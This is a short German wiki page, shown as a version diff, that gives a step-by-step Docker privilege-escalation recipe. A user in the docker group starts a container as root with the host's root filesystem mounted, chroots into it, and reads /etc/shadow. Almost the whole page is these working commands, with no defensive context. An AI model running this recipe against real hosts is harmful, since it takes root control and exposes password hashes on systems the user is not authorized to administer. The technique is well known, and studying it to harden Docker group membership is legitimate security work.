Docker Privilige Escalation: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Keine Bearbeitungszusammenfassung
 
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 1: Zeile 1:
=Vorraussetzung=
=Vorraussetzung=
User muss in der Gruppe docker sein
User muss in der Gruppe docker sein
=Zugriff auf=
*srw-rw---- 1 root docker 0 Jul  16 08:38 /run/docker.sock
=Auf dem Host=
=Auf dem Host=
*docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
*docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
=Im Container=
=Im Container=
*chroot /mnt
*chroot /mnt
=Zugriff=
*cat /etc/shadow

Aktuelle Version vom 16. Juli 2021, 15:46 Uhr

Vorraussetzung

User muss in der Gruppe docker sein

Zugriff auf

  • srw-rw---- 1 root docker 0 Jul 16 08:38 /run/docker.sock

Auf dem Host

  • docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash

Im Container

  • chroot /mnt

Zugriff

  • cat /etc/shadow